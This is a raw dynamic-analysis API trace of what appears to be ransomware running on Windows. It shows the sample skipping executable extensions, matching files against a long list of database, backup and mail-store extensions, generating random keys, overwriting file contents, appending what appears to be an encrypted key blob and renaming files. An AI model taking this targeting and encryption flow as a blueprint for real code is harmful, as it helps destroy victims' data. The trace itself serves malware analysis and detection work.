	[0147.200] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a01e0) returned 1
	[0147.201] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0147.201] CryptReleaseContext (hProv=0x3a01e0, dwFlags=0x0) returned 1
	[0147.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0147.202] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26719185658) returned 1
	[0147.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc1250970, dwHighDateTime=0x1d60e1e)) 
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28d21d8
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0147.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d21d8 | out: hHeap=0x300000) returned 1
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0147.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0147.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0147.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0147.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0147.202] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0147.203] GetLastError () returned 0x0
	[0147.203] GetLastError () returned 0x0
	[0147.203] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0147.203] GetLastError () returned 0x0
	[0147.203] GetLastError () returned 0x0
	[0147.203] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x1c00, lpOverlapped=0x0) returned 1
	[0147.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe400, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.205] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x1c00, lpOverlapped=0x0) returned 1
	[0147.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0147.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.205] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0147.205] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0147.205] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0147.205] CloseHandle (hObject=0x114) returned 1
	[0147.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0147.206] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.~~~~")) 

Thread:
	id = 8
	os_tid = 0x9cc

	[0061.732] GetLastError () returned 0x0
	[0061.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x364) returned 0x36a1a8
	[0061.732] SetLastError (dwErrCode=0x0) 
	[0061.732] GetCurrentThreadId () returned 0x9cc
	[0061.732] GetCurrentThreadId () returned 0x9cc
	[0061.732] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.743] GetCurrentThreadId () returned 0x9cc
	[0061.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d7e8
	[0061.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0061.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c848 | out: hHeap=0x300000) returned 1
	[0061.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0061.743] lstrlenW (lpString=".scr") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".scr") returned 0x0
	[0061.743] lstrlenW (lpString=".cmd") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".cmd") returned 0x0
	[0061.743] lstrlenW (lpString=".dll") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".dll") returned 0x0
	[0061.743] lstrlenW (lpString=".bat") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".bat") returned 0x0
	[0061.743] lstrlenW (lpString=".cpl") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".cpl") returned 0x0
	[0061.743] lstrlenW (lpString=".sys") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".sys") returned 0x0
	[0061.743] lstrlenW (lpString=".msc") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".msc") returned 0x0
	[0061.743] lstrlenW (lpString=".com") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".com") returned 0x0
	[0061.743] lstrlenW (lpString=".lnk") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".lnk") returned 0x0
	[0061.743] lstrlenW (lpString=".msp") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".msp") returned 0x0
	[0061.743] lstrlenW (lpString=".pif") returned 4
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch=".pif") returned 0x0
	[0061.743] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.743] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0061.743] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.." (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0061.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0061.744] RtlWakeConditionVariable () returned 0x365f70
	[0061.744] GetCurrentThreadId () returned 0x9cc
	[0061.744] GetCurrentThreadId () returned 0x9cc
	[0061.744] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.782] GetCurrentThreadId () returned 0x9cc
	[0061.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0061.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f68 | out: hHeap=0x300000) returned 1
	[0061.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f68
	[0061.782] lstrlenW (lpString=".scr") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".scr") returned 0x0
	[0061.782] lstrlenW (lpString=".cmd") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".cmd") returned 0x0
	[0061.782] lstrlenW (lpString=".dll") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".dll") returned 0x0
	[0061.782] lstrlenW (lpString=".bat") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".bat") returned 0x0
	[0061.782] lstrlenW (lpString=".cpl") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".cpl") returned 0x0
	[0061.782] lstrlenW (lpString=".sys") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".sys") returned 0x0
	[0061.782] lstrlenW (lpString=".msc") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".msc") returned 0x0
	[0061.782] lstrlenW (lpString=".com") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".com") returned 0x0
	[0061.782] lstrlenW (lpString=".lnk") returned 4
	[0061.782] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".lnk") returned 0x0
	[0061.783] lstrlenW (lpString=".msp") returned 4
	[0061.783] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".msp") returned 0x0
	[0061.783] lstrlenW (lpString=".pif") returned 4
	[0061.783] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch=".pif") returned 0x0
	[0061.783] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.783] StrStrW (lpFirst="\\\\?\\C:\\Boot\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0061.783] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\." (normalized: "c:\\boot\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f68 | out: hHeap=0x300000) returned 1
	[0061.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0061.783] RtlWakeConditionVariable () returned 0x365f70
	[0061.783] GetCurrentThreadId () returned 0x9cc
	[0061.783] GetCurrentThreadId () returned 0x9cc
	[0061.783] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.789] GetCurrentThreadId () returned 0x9cc
	[0061.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0061.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0061.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0061.789] lstrlenW (lpString=".scr") returned 4
	[0061.789] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".scr") returned 0x0
	[0061.789] lstrlenW (lpString=".cmd") returned 4
	[0061.789] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".cmd") returned 0x0
	[0061.789] lstrlenW (lpString=".dll") returned 4
	[0061.789] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".dll") returned 0x0
	[0061.789] lstrlenW (lpString=".bat") returned 4
	[0061.789] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".bat") returned 0x0
	[0061.789] lstrlenW (lpString=".cpl") returned 4
	[0061.789] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".cpl") returned 0x0
	[0061.789] lstrlenW (lpString=".sys") returned 4
	[0061.789] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".sys") returned 0x0
	[0061.789] lstrlenW (lpString=".msc") returned 4
	[0061.789] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".msc") returned 0x0
	[0061.790] lstrlenW (lpString=".com") returned 4
	[0061.790] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".com") returned 0x0
	[0061.790] lstrlenW (lpString=".lnk") returned 4
	[0061.790] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".lnk") returned 0x0
	[0061.790] lstrlenW (lpString=".msp") returned 4
	[0061.790] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".msp") returned 0x0
	[0061.790] lstrlenW (lpString=".pif") returned 4
	[0061.790] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch=".pif") returned 0x0
	[0061.790] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.790] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG", lpSrch="msp\r\n.pif") returned 0x0
	[0061.790] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0061.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.790] RtlWakeConditionVariable () returned 0x365f70
	[0061.790] GetCurrentThreadId () returned 0x9cc
	[0061.790] GetCurrentThreadId () returned 0x9cc
	[0061.791] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.848] GetCurrentThreadId () returned 0x9cc
	[0061.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0061.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0061.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0061.848] lstrlenW (lpString=".scr") returned 4
	[0061.848] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".scr") returned 0x0
	[0061.848] lstrlenW (lpString=".cmd") returned 4
	[0061.848] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".cmd") returned 0x0
	[0061.848] lstrlenW (lpString=".dll") returned 4
	[0061.848] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".dll") returned 0x0
	[0061.848] lstrlenW (lpString=".bat") returned 4
	[0061.848] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".bat") returned 0x0
	[0061.848] lstrlenW (lpString=".cpl") returned 4
	[0061.848] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".cpl") returned 0x0
	[0061.848] lstrlenW (lpString=".sys") returned 4
	[0061.848] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".sys") returned 0x0
	[0061.848] lstrlenW (lpString=".msc") returned 4
	[0061.848] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".msc") returned 0x0
	[0061.848] lstrlenW (lpString=".com") returned 4
	[0061.849] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".com") returned 0x0
	[0061.849] lstrlenW (lpString=".lnk") returned 4
	[0061.849] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".lnk") returned 0x0
	[0061.849] lstrlenW (lpString=".msp") returned 4
	[0061.849] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".msp") returned 0x0
	[0061.849] lstrlenW (lpString=".pif") returned 4
	[0061.849] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".pif") returned 0x0
	[0061.849] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.849] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch="msp\r\n.pif") returned 0x0
	[0061.849] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.187] lstrlenW (lpString=".sqb") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".sqb") returned 0x0
	[0062.187] lstrlenW (lpString=".ost") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".ost") returned 0x0
	[0062.187] lstrlenW (lpString=".txt") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".txt") returned 0x0
	[0062.187] lstrlenW (lpString=".mdt") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".mdt") returned 0x0
	[0062.187] lstrlenW (lpString=".BDB") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".BDB") returned 0x0
	[0062.187] lstrlenW (lpString=".eql") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".eql") returned 0x0
	[0062.187] lstrlenW (lpString=".DBF") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".DBF") returned 0x0
	[0062.187] lstrlenW (lpString=".EQL") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".EQL") returned 0x0
	[0062.187] lstrlenW (lpString=".FDB") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".FDB") returned 0x0
	[0062.187] lstrlenW (lpString=".EDB") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".EDB") returned 0x0
	[0062.187] lstrlenW (lpString=".DACPAC") returned 7
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".DACPAC") returned 0x0
	[0062.187] lstrlenW (lpString=".VHD") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".VHD") returned 0x0
	[0062.187] lstrlenW (lpString=".DBV") returned 4
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".DBV") returned 0x0
	[0062.187] lstrlenW (lpString=".dacpac") returned 7
	[0062.187] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".dacpac") returned 0x0
	[0062.187] lstrlenW (lpString=".sdf") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".sdf") returned 0x0
	[0062.188] lstrlenW (lpString=".accdb") returned 6
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".accdb") returned 0x0
	[0062.188] lstrlenW (lpString=".DBX") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".DBX") returned 0x0
	[0062.188] lstrlenW (lpString=".MDT") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".MDT") returned 0x0
	[0062.188] lstrlenW (lpString=".SQB") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".SQB") returned 0x0
	[0062.188] lstrlenW (lpString=".vhd") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".vhd") returned 0x0
	[0062.188] lstrlenW (lpString=".bac") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".bac") returned 0x0
	[0062.188] lstrlenW (lpString=".mdf") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".mdf") returned 0x0
	[0062.188] lstrlenW (lpString=".BAK") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".BAK") returned 0x0
	[0062.188] lstrlenW (lpString=".BAC") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".BAC") returned 0x0
	[0062.188] lstrlenW (lpString=".dbs") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".dbs") returned 0x0
	[0062.188] lstrlenW (lpString=".vhdx") returned 5
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".vhdx") returned 0x0
	[0062.188] lstrlenW (lpString=".NDF") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".NDF") returned 0x0
	[0062.188] lstrlenW (lpString=".dat") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".dat") returned 0x0
	[0062.188] lstrlenW (lpString=".DBS") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".DBS") returned 0x0
	[0062.188] lstrlenW (lpString=".CKP") returned 4
	[0062.188] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".CKP") returned 0x0
	[0062.188] lstrlenW (lpString=".edb") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".edb") returned 0x0
	[0062.189] lstrlenW (lpString=".PST") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".PST") returned 0x0
	[0062.189] lstrlenW (lpString=".dbf") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".dbf") returned 0x0
	[0062.189] lstrlenW (lpString=".SQL") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".SQL") returned 0x0
	[0062.189] lstrlenW (lpString=".pst") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".pst") returned 0x0
	[0062.189] lstrlenW (lpString=".dbv") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".dbv") returned 0x0
	[0062.189] lstrlenW (lpString=".SDF") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".SDF") returned 0x0
	[0062.189] lstrlenW (lpString=".dtxs") returned 5
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".dtxs") returned 0x0
	[0062.189] lstrlenW (lpString=".db3") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".db3") returned 0x0
	[0062.189] lstrlenW (lpString=".OST") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".OST") returned 0x0
	[0062.189] lstrlenW (lpString=".dbx") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".dbx") returned 0x0
	[0062.189] lstrlenW (lpString=".DB3") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".DB3") returned 0x0
	[0062.189] lstrlenW (lpString=".DAT") returned 4
	[0062.189] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BOOTSTAT.DAT", lpSrch=".DAT") returned=".DAT"
	[0062.189] lstrlenW (lpString=".DAT") returned 4
	[0062.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39dbf0
	[0062.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0062.189] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x363d38) returned 1
	[0062.191] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0062.191] CryptReleaseContext (hProv=0x363d38, dwFlags=0x0) returned 1
	[0062.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
